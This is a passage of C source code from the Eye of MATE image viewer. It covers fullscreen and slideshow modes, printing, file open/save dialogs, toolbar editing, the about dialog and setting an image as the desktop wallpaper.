"/MainMenu/View/ToolbarToggle"); g_assert (action != NULL); gtk_toggle_action_set_active (GTK_TOGGLE_ACTION (action), visible); g_object_set (G_OBJECT (priv->toolbar), "visible", visible, NULL); visible = g_settings_get_boolean (priv->ui_settings, EOM_CONF_UI_STATUSBAR); visible = visible && !fullscreen_mode; action = gtk_ui_manager_get_action (priv->ui_mgr, "/MainMenu/View/StatusbarToggle"); g_assert (action != NULL); gtk_toggle_action_set_active (GTK_TOGGLE_ACTION (action), visible); g_object_set (G_OBJECT (priv->statusbar), "visible", visible, NULL); if (priv->status != EOM_WINDOW_STATUS_INIT) { visible = g_settings_get_boolean (priv->ui_settings, EOM_CONF_UI_IMAGE_COLLECTION); visible = visible && priv->mode != EOM_WINDOW_MODE_SLIDESHOW; action = gtk_ui_manager_get_action (priv->ui_mgr, "/MainMenu/View/ImageCollectionToggle"); g_assert (action != NULL); gtk_toggle_action_set_active (GTK_TOGGLE_ACTION (action), visible); if (visible) { gtk_widget_show (priv->nav); } else { gtk_widget_hide (priv->nav); } } visible = g_settings_get_boolean (priv->ui_settings, EOM_CONF_UI_SIDEBAR); visible = visible && !fullscreen_mode; action = gtk_ui_manager_get_action (priv->ui_mgr, "/MainMenu/View/SidebarToggle"); g_assert (action != NULL); gtk_toggle_action_set_active (GTK_TOGGLE_ACTION (action), visible); if (visible) { gtk_widget_show (priv->sidebar); } else { gtk_widget_hide (priv->sidebar); } if (priv->fullscreen_popup != NULL) { gtk_widget_hide (priv->fullscreen_popup); } } static void eom_window_run_fullscreen (EomWindow *window, gboolean slideshow) { #if GTK_CHECK_VERSION (3, 0, 0) static const GdkRGBA black = { 0., 0., 0., 1.}; #endif EomWindowPrivate *priv; GtkWidget *menubar; gboolean upscale; eom_debug (DEBUG_WINDOW); priv = window->priv; if (slideshow) { priv->mode = EOM_WINDOW_MODE_SLIDESHOW; } else { /* Stop the timer if we come from slideshowing */ if (priv->mode == EOM_WINDOW_MODE_SLIDESHOW) slideshow_clear_timeout (window); priv->mode = EOM_WINDOW_MODE_FULLSCREEN; } if (window->priv->fullscreen_popup == NULL) priv->fullscreen_popup = eom_window_create_fullscreen_popup (window); update_ui_visibility (window); menubar = gtk_ui_manager_get_widget (priv->ui_mgr, "/MainMenu"); g_assert (GTK_IS_WIDGET (menubar)); gtk_widget_hide (menubar); g_signal_connect (priv->view, "motion-notify-event", G_CALLBACK (fullscreen_motion_notify_cb), window); g_signal_connect (priv->view, "leave-notify-event", G_CALLBACK (fullscreen_leave_notify_cb), window); g_signal_connect (priv->thumbview, "motion-notify-event", G_CALLBACK (fullscreen_motion_notify_cb), window); g_signal_connect (priv->thumbview, "leave-notify-event", G_CALLBACK (fullscreen_leave_notify_cb), window); fullscreen_set_timeout (window); if (slideshow) { priv->slideshow_random = g_settings_get_boolean (priv->fullscreen_settings, EOM_CONF_FULLSCREEN_RANDOM); priv->slideshow_loop = g_settings_get_boolean (priv->fullscreen_settings, EOM_CONF_FULLSCREEN_LOOP); priv->slideshow_switch_timeout = g_settings_get_int (priv->fullscreen_settings, EOM_CONF_FULLSCREEN_SECONDS); slideshow_set_timeout (window); } upscale = g_settings_get_boolean (priv->fullscreen_settings, EOM_CONF_FULLSCREEN_UPSCALE); eom_scroll_view_set_zoom_upscale (EOM_SCROLL_VIEW (priv->view), upscale); gtk_widget_grab_focus (priv->view); eom_scroll_view_override_bg_color (EOM_SCROLL_VIEW (window->priv->view), #if GTK_CHECK_VERSION (3, 0, 0) &black); #else &(gtk_widget_get_style (GTK_WIDGET (window))->black)); #endif #if !GTK_CHECK_VERSION (3, 0, 0) { GtkStyle *style; style = gtk_style_copy (gtk_widget_get_style (gtk_widget_get_parent (priv->view))); style->xthickness = 0; style->ythickness = 0; gtk_widget_set_style (gtk_widget_get_parent (priv->view), style); g_object_unref (style); } #endif gtk_window_fullscreen (GTK_WINDOW (window)); eom_window_update_fullscreen_popup (window); #ifdef HAVE_DBUS eom_application_screensaver_disable (EOM_APP); #endif /* Update both actions as we could've already been in one those modes */ eom_window_update_slideshow_action (window); eom_window_update_fullscreen_action (window); eom_window_update_pause_slideshow_action (window); } static void eom_window_stop_fullscreen (EomWindow *window, gboolean slideshow) { EomWindowPrivate *priv; GtkWidget *menubar; eom_debug (DEBUG_WINDOW); priv = window->priv; if (priv->mode != EOM_WINDOW_MODE_SLIDESHOW && priv->mode != EOM_WINDOW_MODE_FULLSCREEN) return; priv->mode = EOM_WINDOW_MODE_NORMAL; fullscreen_clear_timeout (window); if (slideshow) { slideshow_clear_timeout (window); } g_signal_handlers_disconnect_by_func (priv->view, (gpointer) fullscreen_motion_notify_cb, window); g_signal_handlers_disconnect_by_func (priv->view, (gpointer) fullscreen_leave_notify_cb, window); g_signal_handlers_disconnect_by_func (priv->thumbview, (gpointer) fullscreen_motion_notify_cb, window); g_signal_handlers_disconnect_by_func (priv->thumbview, (gpointer) fullscreen_leave_notify_cb, window); update_ui_visibility (window); menubar = gtk_ui_manager_get_widget (priv->ui_mgr, "/MainMenu"); g_assert (GTK_IS_WIDGET (menubar)); gtk_widget_show (menubar); eom_scroll_view_set_zoom_upscale (EOM_SCROLL_VIEW (priv->view), FALSE); eom_scroll_view_override_bg_color (EOM_SCROLL_VIEW (window->priv->view), NULL); #if !GTK_CHECK_VERSION (3, 0, 0) gtk_widget_set_style (gtk_widget_get_parent (window->priv->view), NULL); #endif gtk_window_unfullscreen (GTK_WINDOW (window)); if (slideshow) { eom_window_update_slideshow_action (window); } else { eom_window_update_fullscreen_action (window); } eom_scroll_view_show_cursor (EOM_SCROLL_VIEW (priv->view)); #ifdef HAVE_DBUS eom_application_screensaver_enable (EOM_APP); #endif } static void eom_window_print (EomWindow *window) { GtkWidget *dialog; GError *error = NULL; GtkPrintOperation *print; GtkPrintOperationResult res; GtkPageSetup *page_setup; GtkPrintSettings *print_settings; gboolean page_setup_disabled = FALSE; eom_debug (DEBUG_PRINTING); print_settings = eom_print_get_print_settings (); /* Make sure the window stays valid while printing */ g_object_ref (window); if (window->priv->page_setup !=NULL) page_setup = g_object_ref (window->priv->page_setup); else page_setup = NULL; print = eom_print_operation_new (window->priv->image, print_settings, page_setup); // Disable page setup options if they are locked down page_setup_disabled = g_settings_get_boolean (window->priv->lockdown_settings, EOM_CONF_LOCKDOWN_CAN_SETUP_PAGE); if (page_setup_disabled) gtk_print_operation_set_embed_page_setup (print, FALSE); res = gtk_print_operation_run (print, GTK_PRINT_OPERATION_ACTION_PRINT_DIALOG, GTK_WINDOW (window), &error); if (res == GTK_PRINT_OPERATION_RESULT_ERROR) { dialog = gtk_message_dialog_new (GTK_WINDOW (window), GTK_DIALOG_DESTROY_WITH_PARENT, GTK_MESSAGE_ERROR, GTK_BUTTONS_CLOSE, _("Error printing file:\n%s"), error->message); g_signal_connect (dialog, "response", G_CALLBACK (gtk_widget_destroy), NULL); gtk_widget_show (dialog); g_error_free (error); } else if (res == GTK_PRINT_OPERATION_RESULT_APPLY) { GtkPageSetup *new_page_setup; eom_print_set_print_settings (gtk_print_operation_get_print_settings (print)); new_page_setup = gtk_print_operation_get_default_page_setup (print); if (window->priv->page_setup != NULL) g_object_unref (window->priv->page_setup); window->priv->page_setup = g_object_ref (new_page_setup); } if (page_setup != NULL) g_object_unref (page_setup); g_object_unref (print_settings); g_object_unref (window); } static void eom_window_cmd_file_open (GtkAction *action, gpointer user_data) { EomWindow *window; EomWindowPrivate *priv; EomImage *current; GtkWidget *dlg; g_return_if_fail (EOM_IS_WINDOW (user_data)); window = EOM_WINDOW (user_data); priv = window->priv; dlg = eom_file_chooser_new (GTK_FILE_CHOOSER_ACTION_OPEN); current = eom_thumb_view_get_first_selected_image (EOM_THUMB_VIEW (priv->thumbview)); if (current != NULL) { gchar *dir_uri, *file_uri; file_uri = eom_image_get_uri_for_display (current); dir_uri = g_path_get_dirname (file_uri); gtk_file_chooser_set_current_folder_uri (GTK_FILE_CHOOSER (dlg), dir_uri); g_free (file_uri); g_free (dir_uri); g_object_unref (current); } else { /* If desired by the user, fallback to the XDG_PICTURES_DIR (if available) */ const gchar *pics_dir; gboolean use_fallback; use_fallback = g_settings_get_boolean (priv->ui_settings, EOM_CONF_UI_FILECHOOSER_XDG_FALLBACK); pics_dir = g_get_user_special_dir (G_USER_DIRECTORY_PICTURES); if (use_fallback && pics_dir) { gtk_file_chooser_set_current_folder (GTK_FILE_CHOOSER (dlg), pics_dir); } } g_signal_connect (dlg, "response", G_CALLBACK (file_open_dialog_response_cb), window); gtk_widget_show_all (dlg); } static void eom_job_close_save_cb (EomJobSave *job, gpointer user_data) { EomWindow *window = EOM_WINDOW (user_data); g_signal_handlers_disconnect_by_func (job, eom_job_close_save_cb, window); gtk_widget_destroy (GTK_WIDGET (window)); } static void close_confirmation_dialog_response_handler (EomCloseConfirmationDialog *dlg, gint response_id, EomWindow *window) { GList *selected_images; EomWindowPrivate *priv; priv = window->priv; switch (response_id) { case GTK_RESPONSE_YES: /* save selected images */ selected_images = eom_close_confirmation_dialog_get_selected_images (dlg); eom_close_confirmation_dialog_set_sensitive (dlg, FALSE); if (eom_window_save_images (window, selected_images)) { g_signal_connect (priv->save_job, "finished", G_CALLBACK (eom_job_close_save_cb), window); eom_job_queue_add_job (priv->save_job); } break; case GTK_RESPONSE_NO: /* dont save */ gtk_widget_destroy (GTK_WIDGET (window)); break; default: /* Cancel */ gtk_widget_destroy (GTK_WIDGET (dlg)); break; } } static gboolean eom_window_unsaved_images_confirm (EomWindow *window) { EomWindowPrivate *priv; gboolean disabled; GtkWidget *dialog; GList *list; EomImage *image; GtkTreeIter iter; priv = window->priv; disabled = g_settings_get_boolean(priv->ui_settings, EOM_CONF_UI_DISABLE_CLOSE_CONFIRMATION); disabled |= window->priv->save_disabled; if (disabled) { return FALSE; } list = NULL; if (gtk_tree_model_get_iter_first (GTK_TREE_MODEL (priv->store), &iter)) { do { gtk_tree_model_get (GTK_TREE_MODEL (priv->store), &iter, EOM_LIST_STORE_EOM_IMAGE, &image, -1); if (!image) continue; if (eom_image_is_modified (image)) { list = g_list_prepend (list, image); } } while (gtk_tree_model_iter_next (GTK_TREE_MODEL (priv->store), &iter)); } if (list) { list = g_list_reverse (list); dialog = eom_close_confirmation_dialog_new (GTK_WINDOW (window), list); g_list_free (list); g_signal_connect (dialog, "response", G_CALLBACK (close_confirmation_dialog_response_handler), window); gtk_window_set_destroy_with_parent (GTK_WINDOW (dialog), TRUE); gtk_widget_show (dialog); return TRUE; } return FALSE; } static void eom_window_cmd_close_window (GtkAction *action, gpointer user_data) { EomWindow *window; EomWindowPrivate *priv; g_return_if_fail (EOM_IS_WINDOW (user_data)); window = EOM_WINDOW (user_data); priv = window->priv; if (priv->save_job != NULL) { eom_window_finish_saving (window); } if (!eom_window_unsaved_images_confirm (window)) { gtk_widget_destroy (GTK_WIDGET (user_data)); } } static void eom_window_cmd_preferences (GtkAction *action, gpointer user_data) { EomWindow *window; GObject *pref_dlg; g_return_if_fail (EOM_IS_WINDOW (user_data)); window = EOM_WINDOW (user_data); pref_dlg = eom_preferences_dialog_get_instance (GTK_WINDOW (window)); eom_dialog_show (EOM_DIALOG (pref_dlg)); } #define EOM_TB_EDITOR_DLG_RESET_RESPONSE 128 static void eom_window_cmd_edit_toolbar_cb (GtkDialog *dialog, gint response, gpointer data) { EomWindow *window = EOM_WINDOW (data); if (response == EOM_TB_EDITOR_DLG_RESET_RESPONSE) { EggToolbarsModel *model; EggToolbarEditor *editor; editor = g_object_get_data (G_OBJECT (dialog), "EggToolbarEditor"); g_return_if_fail (editor != NULL); egg_editable_toolbar_set_edit_mode (EGG_EDITABLE_TOOLBAR (window->priv->toolbar), FALSE); eom_application_reset_toolbars_model (EOM_APP); model = eom_application_get_toolbars_model (EOM_APP); egg_editable_toolbar_set_model (EGG_EDITABLE_TOOLBAR (window->priv->toolbar), model); egg_toolbar_editor_set_model (editor, model); /* Toolbar would be uneditable now otherwise */ egg_editable_toolbar_set_edit_mode (EGG_EDITABLE_TOOLBAR (window->priv->toolbar), TRUE); } else if (response == GTK_RESPONSE_HELP) { eom_util_show_help ("eom-toolbareditor", NULL); } else { egg_editable_toolbar_set_edit_mode (EGG_EDITABLE_TOOLBAR (window->priv->toolbar), FALSE); eom_application_save_toolbars_model (EOM_APP); gtk_widget_destroy (GTK_WIDGET (dialog)); } } static void eom_window_cmd_edit_toolbar (GtkAction *action, gpointer *user_data) { EomWindow *window; GtkWidget *dialog; GtkWidget *editor; g_return_if_fail (EOM_IS_WINDOW (user_data)); window = EOM_WINDOW (user_data); dialog = gtk_dialog_new_with_buttons (_("Toolbar Editor"), GTK_WINDOW (window), GTK_DIALOG_DESTROY_WITH_PARENT, _("_Reset to Default"), EOM_TB_EDITOR_DLG_RESET_RESPONSE, GTK_STOCK_CLOSE, GTK_RESPONSE_CLOSE, GTK_STOCK_HELP, GTK_RESPONSE_HELP, NULL); gtk_dialog_set_default_response (GTK_DIALOG (dialog), GTK_RESPONSE_CLOSE); gtk_container_set_border_width (GTK_CONTAINER (dialog), 5); gtk_box_set_spacing (GTK_BOX (gtk_dialog_get_content_area (GTK_DIALOG (dialog))), 2); gtk_window_set_default_size (GTK_WINDOW (dialog), 500, 400); editor = egg_toolbar_editor_new (window->priv->ui_mgr, eom_application_get_toolbars_model (EOM_APP)); gtk_container_set_border_width (GTK_CONTAINER (editor), 5); #if GTK_CHECK_VERSION (3, 0, 0) // Use as much vertical space as available gtk_widget_set_vexpand (GTK_WIDGET (editor), TRUE); #endif gtk_box_set_spacing (GTK_BOX (EGG_TOOLBAR_EDITOR (editor)), 5); gtk_container_add (GTK_CONTAINER (gtk_dialog_get_content_area (GTK_DIALOG (dialog))), editor); egg_editable_toolbar_set_edit_mode (EGG_EDITABLE_TOOLBAR (window->priv->toolbar), TRUE); g_object_set_data (G_OBJECT (dialog), "EggToolbarEditor", editor); g_signal_connect (dialog, "response", G_CALLBACK (eom_window_cmd_edit_toolbar_cb), window); gtk_widget_show_all (dialog); } static void eom_window_cmd_help (GtkAction *action, gpointer user_data) { EomWindow *window; g_return_if_fail (EOM_IS_WINDOW (user_data)); window = EOM_WINDOW (user_data); eom_util_show_help (NULL, GTK_WINDOW (window)); } static void eom_window_cmd_about (GtkAction *action, gpointer user_data) { EomWindow *window; g_return_if_fail (EOM_IS_WINDOW (user_data)); static const char *authors[] = { "Perberos <[email protected]>", "Steve Zesch <[email protected]>", "Stefano Karapetsas <[email protected]>", "", "Claudio Saavedra <[email protected]> (maintainer)", "Felix Riemann <[email protected]> (maintainer)", "", "Lucas Rocha <[email protected]>", "Tim Gerla <[email protected]>", "Philip Van Hoof <[email protected]>", "Paolo Borelli <[email protected]>", "Jens Finke <[email protected]>", "Martin Baulig <[email protected]>", "Arik Devens <[email protected]>", "Michael Meeks <[email protected]>", "Federico Mena-Quintero <[email protected]>", "Lutz M\xc3\xbcller <[email protected]>", NULL }; static const char *documenters[] = { "Eliot Landrum <[email protected]>", "Federico Mena-Quintero <[email protected]>", "Sun GNOME Documentation Team <[email protected]>", NULL }; const char *translators; translators = _("translator-credits"); const char *license[] = { N_("This program is free software; you can redistribute it and/or modify " "it under the terms of the GNU General Public License as published by " "the Free Software Foundation; either version 2 of the License, or " "(at your option) any later version.\n"), N_("This program is distributed in the hope that it will be useful, " "but WITHOUT ANY WARRANTY; without even the implied warranty of " "MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the " "GNU General Public License for more details.\n"), N_("You should have received a copy of the GNU General Public License " "along with this program; if not, write to the Free Software " "Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA.") }; char *license_trans; license_trans = g_strconcat (_(license[0]), "\n", _(license[1]), "\n", _(license[2]), "\n", NULL); window = EOM_WINDOW (user_data); mate_show_about_dialog (GTK_WINDOW (window), "program-name", _("Eye of MATE"), "version", VERSION, "copyright", "Copyright \xc2\xa9 2000-2010 Free Software Foundation, Inc.\n" "Copyright \xc2\xa9 2011 Perberos\n" "Copyright \xc2\xa9 2012-2014 MATE developers", "comments",_("The MATE image viewer."), "authors", authors, "documenters", documenters, "translator-credits", translators, "website", "http://www.mate-desktop.org/", "logo-icon-name", "eom", "wrap-license", TRUE, "license", license_trans, NULL); g_free (license_trans); } static void eom_window_cmd_show_hide_bar (GtkAction *action, gpointer user_data) { EomWindow *window; EomWindowPrivate *priv; gboolean visible; g_return_if_fail (EOM_IS_WINDOW (user_data)); window = EOM_WINDOW (user_data); priv = window->priv; if (priv->mode != EOM_WINDOW_MODE_NORMAL && priv->mode != EOM_WINDOW_MODE_FULLSCREEN) return; visible = gtk_toggle_action_get_active (GTK_TOGGLE_ACTION (action)); if (g_ascii_strcasecmp (gtk_action_get_name (action), "ViewToolbar") == 0) { g_object_set (G_OBJECT (priv->toolbar), "visible", visible, NULL); if (priv->mode == EOM_WINDOW_MODE_NORMAL) g_settings_set_boolean (priv->ui_settings, EOM_CONF_UI_TOOLBAR, visible); } else if (g_ascii_strcasecmp (gtk_action_get_name (action), "ViewStatusbar") == 0) { g_object_set (G_OBJECT (priv->statusbar), "visible", visible, NULL); if (priv->mode == EOM_WINDOW_MODE_NORMAL) g_settings_set_boolean (priv->ui_settings, EOM_CONF_UI_STATUSBAR, visible); } else if (g_ascii_strcasecmp (gtk_action_get_name (action), "ViewImageCollection") == 0) { if (visible) { /* Make sure the focus widget is realized to * avoid warnings on keypress events */ if (!gtk_widget_get_realized (window->priv->thumbview)) gtk_widget_realize (window->priv->thumbview); gtk_widget_show (priv->nav); gtk_widget_grab_focus (priv->thumbview); } else { /* Make sure the focus widget is realized to * avoid warnings on keypress events. * Don't do it during init phase or the view * will get a bogus allocation. */ if (!gtk_widget_get_realized (priv->view) && priv->status == EOM_WINDOW_STATUS_NORMAL) gtk_widget_realize (priv->view); gtk_widget_hide (priv->nav); if (gtk_widget_get_realized (priv->view)) gtk_widget_grab_focus (priv->view); } g_settings_set_boolean (priv->ui_settings, EOM_CONF_UI_IMAGE_COLLECTION, visible); } else if (g_ascii_strcasecmp (gtk_action_get_name (action), "ViewSidebar") == 0) { if (visible) { gtk_widget_show (priv->sidebar); } else { gtk_widget_hide (priv->sidebar); } g_settings_set_boolean (priv->ui_settings, EOM_CONF_UI_SIDEBAR, visible); } } static void wallpaper_info_bar_response (GtkInfoBar *bar, gint response, EomWindow *window) { if (response == GTK_RESPONSE_YES) { GdkScreen *screen; screen = gtk_widget_get_screen (GTK_WIDGET (window)); mate_gdk_spawn_command_line_on_screen (screen, "mate-appearance-properties" " --show-page=background", NULL); } /* Close message area on every response */ eom_window_set_message_area (window, NULL); } static void eom_window_set_wallpaper (EomWindow *window, const gchar *filename, const gchar *visible_filename) { GtkWidget *info_bar; GtkWidget *image; GtkWidget *label; GtkWidget *hbox; gchar *markup; gchar *text; gchar *basename; GSettings *wallpaper_settings; wallpaper_settings = g_settings_new (EOM_CONF_BACKGROUND_SCHEMA); g_settings_set_string (wallpaper_settings, EOM_CONF_BACKGROUND_FILE, filename); g_object_unref (wallpaper_settings); /* I18N: When setting mnemonics for these strings, watch out to not clash with mnemonics from eom's menubar */ info_bar = gtk_info_bar_new_with_buttons (_("_Open Background Preferences"), GTK_RESPONSE_YES, C_("MessageArea","Hi_de"), GTK_RESPONSE_NO, NULL); gtk_info_bar_set_message_type (GTK_INFO_BAR (info_bar), GTK_MESSAGE_QUESTION); image = gtk_image_new_from_stock (GTK_STOCK_DIALOG_QUESTION, GTK_ICON_SIZE_DIALOG); label = gtk_label_new (NULL); if (!visible_filename) basename = g_path_get_basename (filename); /* The newline character is currently necessary due to a problem * with the automatic line break. */ text = g_strdup_printf (_("The image \"%s\" has been set as Desktop Background." "\nWould you like to modify its appearance?"), visible_filename ? visible_filename : basename); markup = g_markup_printf_escaped ("<b>%s</b>", text); gtk_label_set_markup (GTK_LABEL (label), markup); g_free (markup); g_free (text); if (!visible_filename) g_free (basename); hbox = gtk_hbox_new (FALSE, 8); gtk_box_pack_start (GTK_BOX (hbox), image, FALSE, FALSE, 0); #if GTK_CHECK_VERSION (3, 14, 0) gtk_widget_set_valign (image, GTK_ALIGN_START); gtk_box_pack_start (GTK_BOX (hbox), label, TRUE, TRUE, 0); gtk_widget_set_halign (label, GTK_ALIGN_START); #else gtk_misc_set_alignment (GTK_MISC (image), 0.5, 0); gtk_box_pack_start (GTK_BOX (hbox), label, TRUE, TRUE, 0); gtk_misc_set_alignment (GTK_MISC (label), 0, 0.5); #endif gtk_box_pack_start (GTK_BOX (gtk_info_bar_get_content_area (GTK_INFO_BAR (info_bar))), hbox, TRUE, TRUE, 0); gtk_widget_show_all (hbox); gtk_widget_show (info_bar); eom_window_set_message_area (window, info_bar); gtk_info_bar_set_default_response (GTK_INFO_BAR (info_bar), GTK_RESPONSE_YES); g_signal_connect (info_bar, "response", G_CALLBACK (wallpaper_info_bar_response), window); } static void eom_job_save_cb (EomJobSave *job, gpointer user_data) { EomWindow *window = EOM_WINDOW (user_data); GtkAction *action_save; g_signal_handlers_disconnect_by_func (job, eom_job_save_cb, window); g_signal_handlers_disconnect_by_func (job, eom_job_save_progress_cb, window); g_object_unref (window->priv->save_job); window->priv->save_job = NULL; update_status_bar (window); action_save = gtk_action_group_get_action (window->priv->actions_image, "ImageSave"); gtk_action_set_sensitive (action_save, FALSE); } static void eom_job_copy_cb (EomJobCopy *job, gpointer user_data) { EomWindow *window = EOM_WINDOW (user_data); gchar *filepath, *basename, *filename, *extension; GtkAction *action; GFile *source_file, *dest_file; /* Create source GFile */ basename = g_file_get_basename (job->images->data); filepath = g_build_filename (job->dest, basename, NULL); source_file = g_file_new_for_path (filepath); g_free (filepath); /* Create destination GFile */ extension = eom_util_filename_get_extension (basename); filename = g_strdup_printf ("%s.%s", EOM_WALLPAPER_FILENAME, extension); filepath = g_build_filename (job->dest, filename, NULL); dest_file = g_file_new_for_path (filepath); g_free (filename); g_free (extension); /* Move the file */ g_file_move (source_file, dest_file, G_FILE_COPY_OVERWRITE, NULL, NULL, NULL, NULL); /* Set the wallpaper */ eom_window_set_wallpaper (window, filepath, basename); g_free (basename); g_free (filepath); gtk_statusbar_pop (GTK_STATUSBAR (window->priv->statusbar), window->priv->copy_file_cid); action = gtk_action_group_get_action (window->priv->actions_image, "ImageSetAsWallpaper"); gtk_action_set_sensitive (action, TRUE); window->priv->copy_job = NULL; g_object_unref (source_file); g_object_unref (dest_file); g_object_unref (G_OBJECT (job->images->data)); g_list_free (job->images); g_object_unref (job); } static gboolean eom_window_save_images (EomWindow *window, GList *images) { EomWindowPrivate *priv; priv = window->priv; if (window->priv->save_job != NULL) return FALSE; priv->save_job = eom_job_save_new (images); g_signal_connect (priv->save_job, "finished", G_CALLBACK (eom_job_save_cb), window); g_signal_connect (priv->save_job, "progress", G_CALLBACK (eom_job_save_progress_cb), window); return TRUE; } static void eom_window_cmd_save (GtkAction *action, gpointer user_data) { EomWindowPrivate *priv; EomWindow *window; GList *images; window = EOM_WINDOW (user_data); priv = window->priv; if (window->priv->save_job != NULL) return; images = eom_thumb_view_get_selected_images (EOM_THUMB_VIEW (priv->thumbview)); if (eom_window_save_images (window, images)) { eom_job_queue_add_job (priv->save_job); } } static GFile* eom_window_retrieve_save_as_file (EomWindow *window, EomImage *image) { GtkWidget *dialog; GFile *save_file = NULL; GFile *last_dest_folder; gint response; g_assert (image != NULL); dialog = eom_file_chooser_new (GTK_FILE_CHOOSER_ACTION_SAVE); last_dest_folder = window->priv->last_save_as_folder; if (last_dest_folder && g_file_query_exists (last_dest_folder, NULL)) { gtk_file_chooser_set_current_folder_file (GTK_FILE_CHOOSER (dialog), last_dest_folder, NULL); gtk_file_chooser_set_current_name (GTK_FILE_CHOOSER (dialog), eom_image_get_caption (image)); } else { GFile *image_file; image_file = eom_image_get_file (image); /* Setting the file will also navigate to its parent folder */ gtk_file_chooser_set_file (GTK_FILE_CHOOSER (dialog), image_file, NULL); g_object_unref (image_file); } response = gtk_dialog_run (GTK_DIALOG (dialog)); gtk_widget_hide (dialog); if (response == GTK_RESPONSE_OK) { save_file = gtk_file_chooser_get_file (GTK_FILE_CHOOSER (dialog)); if (window->priv->last_save_as_folder) g_object_unref (window->priv->last_save_as_folder); window->priv->last_save_as_folder = g_file_get_parent (save_file); } gtk_widget_destroy (dialog); return save_file; } static void eom_window_cmd_save_as (GtkAction *action, gpointer user_data) { EomWindowPrivate *priv; EomWindow *window; GList *images; guint n_images; window = EOM_WINDOW (user_data); priv = window->priv; if (window->priv->save_job != NULL) return; images = eom_thumb_view_get_selected_images (EOM_THUMB_VIEW (priv->thumbview)); n_images = g_list_length (images); if (n_images == 1) { GFile *file; file = eom_window_retrieve_save_as_file (window, images->data); if (!file) { g_list_free (images); return; } priv->save_job = eom_job_save_as_new (images, NULL, file); g_object_unref (file); } else if (n_images > 1) { GFile *base_file; GtkWidget *dialog; gchar *basedir; EomURIConverter *converter; basedir = g_get_current_dir (); base_file = g_file_new_for_path (basedir); g_free (basedir); dialog = eom_save_as_dialog_new (GTK_WINDOW (window), images, base_file); gtk_widget_show_all (dialog); if (gtk_dialog_run (GTK_DIALOG (dialog)) != GTK_RESPONSE_OK) { g_object_unref (base_file); g_list_free (images); gtk_widget_destroy (dialog); return; } converter = eom_save_as_dialog_get_converter (dialog); g_assert (converter != NULL); priv->save_job = eom_job_save_as_new (images, converter, NULL); gtk_widget_destroy (dialog); g_object_unref (converter); g_object_unref (base_file); } else { /* n_images = 0 -- No Image selected */ return; } g_signal_connect (priv->save_job, "finished", G_CALLBACK (eom_job_save_cb), window); g_signal_connect (priv->save_job, "progress", G_CALLBACK (eom_job_save_progress_cb), window); eom_job_queue_add_job (priv->save_job); } static void eom_window_cmd_print (GtkAction *action, gpointer user_data) { EomWindow *window = EOM_WINDOW (user_data); eom_window_print (window); } static void eom_window_cmd_properties (GtkAction *action, gpointer user_data) { EomWindow *window = EOM_WINDOW (user_data); EomWindowPrivate *priv; GtkAction *next_image_action, *previous_image_action; priv = window->priv; next_image_action = gtk_action_group_get_action (priv->actions_collection, "GoNext"); previous_image_action = gtk_action_group_get_action (priv->actions_collection, "GoPrevious"); if (window->priv->properties_dlg == NULL) { window->priv->properties_dlg = eom_properties_dialog_new (GTK_WINDOW (window), EOM_THUMB_VIEW (priv->thumbview), next_image_action, previous_image_action); eom_properties_dialog_update (EOM_PROPERTIES_DIALOG (priv->properties_dlg), priv->image); g_settings_bind (priv->ui_settings, EOM_CONF_UI_PROPSDIALOG_NETBOOK_MODE, priv->properties_dlg, "netbook-mode", G_SETTINGS_BIND_GET); } eom_dialog_show (EOM_DIALOG (window->priv->properties_dlg)); } static void eom_window_cmd_undo (GtkAction *action, gpointer user_data) { g_return_if_fail (EOM_IS_WINDOW (user_data)); apply_transformation (EOM_WINDOW (user_data), NULL); } static void eom_window_cmd_flip_horizontal (GtkAction *action, gpointer user_data) { g_return_if_fail (EOM_IS_WINDOW (user_data)); apply_transformation (EOM_WINDOW (user_data), eom_transform_flip_new (EOM_TRANSFORM_FLIP_HORIZONTAL)); } static void eom_window_cmd_flip_vertical (GtkAction *action, gpointer user_data) { g_return_if_fail (EOM_IS_WINDOW (user_data)); apply_transformation (EOM_WINDOW (user_data), eom_transform_flip_new (EOM_TRANSFORM_FLIP_VERTICAL)); } static void eom_window_cmd_rotate_90 (GtkAction *action, gpointer user_data) { g_return_if_fail (EOM_IS_WINDOW (user_data)); apply_transformation (EOM_WINDOW (user_data), eom_transform_rotate_new (90)); } static void eom_window_cmd_rotate_270 (GtkAction *action, gpointer user_data) { g_return_if_fail (EOM_IS_WINDOW (user_data)); apply_transformation (EOM_WINDOW (user_data), eom_transform_rotate_new (270)); } static void eom_window_cmd_wallpaper (GtkAction *action, gpointer user_data) { EomWindow *window; EomWindowPrivate *priv; EomImage *image; GFile *file; char *filename = NULL; g_return_if_fail (EOM_IS_WINDOW (user_data)); window = EOM_WINDOW (user_data); priv = window->priv; /* If currently copying an image to set it as wallpaper, return. */ if (priv->copy_job != NULL) return; image = eom_thumb_view_get_first_selected_image (EOM_THUMB_VIEW (priv->thumbview)); g_return_if_fail (EOM_IS_IMAGE (image)); file = eom_image_get_file (image); filename = g_file_get_path (file); /* Currently only local files can be set as wallpaper */ if (filename == NULL || !eom_util_file_is_persistent (file)) { GList *files = NULL; GtkAction *action; action = gtk_action_group_get_action (window->priv->actions_image, "ImageSetAsWallpaper"); gtk_action_set_sensitive (action, FALSE); priv->copy_file_cid = gtk_statusbar_get_context_id (GTK_STATUSBAR (priv->statusbar), "copy_file_cid"); gtk_statusbar_push (GTK_STATUSBAR (priv->statusbar), priv->copy_file_cid, _("Saving image locally…")); files = g_list_append (files, eom_image_get_file (image)); priv->copy_job = eom_job_copy_new (files, g_get_user_data_dir ()); g_signal_connect (priv->copy_job, "finished", G_CALLBACK (eom_job_copy_cb), window); g_signal_connect (priv->copy_job, "progress", G_CALLBACK (eom_job_progress_cb), window); eom_job_queue_add_job (priv->copy_job); g_object_unref (file); g_free (filename); return; } g_object_unref (file); eom_window_set_wallpaper (window, filename, NULL); g_free (filename); } static gboolean eom_window_all_images_trasheable (GList *images) { GFile *file; GFileInfo *file_info; GList *iter; EomImage *image; gboolean can_trash = TRUE; for (iter = images; iter != NULL; iter = g_list_next (iter)) { image = (EomImage *) iter->data; file = eom_image_get_file (image); file_info = g_file_query_info (file, G_FILE_ATTRIBUTE_ACCESS_CAN_TRASH, 0, NULL, NULL); can_trash = g_file_info_get_attribute_boolean (file_info, G_FILE_ATTRIBUTE_ACCESS_CAN_TRASH); g_object_unref (file_info); g_object_unref (file); if (can_trash == FALSE) break; } return can_trash; } static int show_move_to_trash_confirm_dialog (EomWindow *window, GList *images, gboolean can_trash) { GtkWidget *dlg; char *prompt; 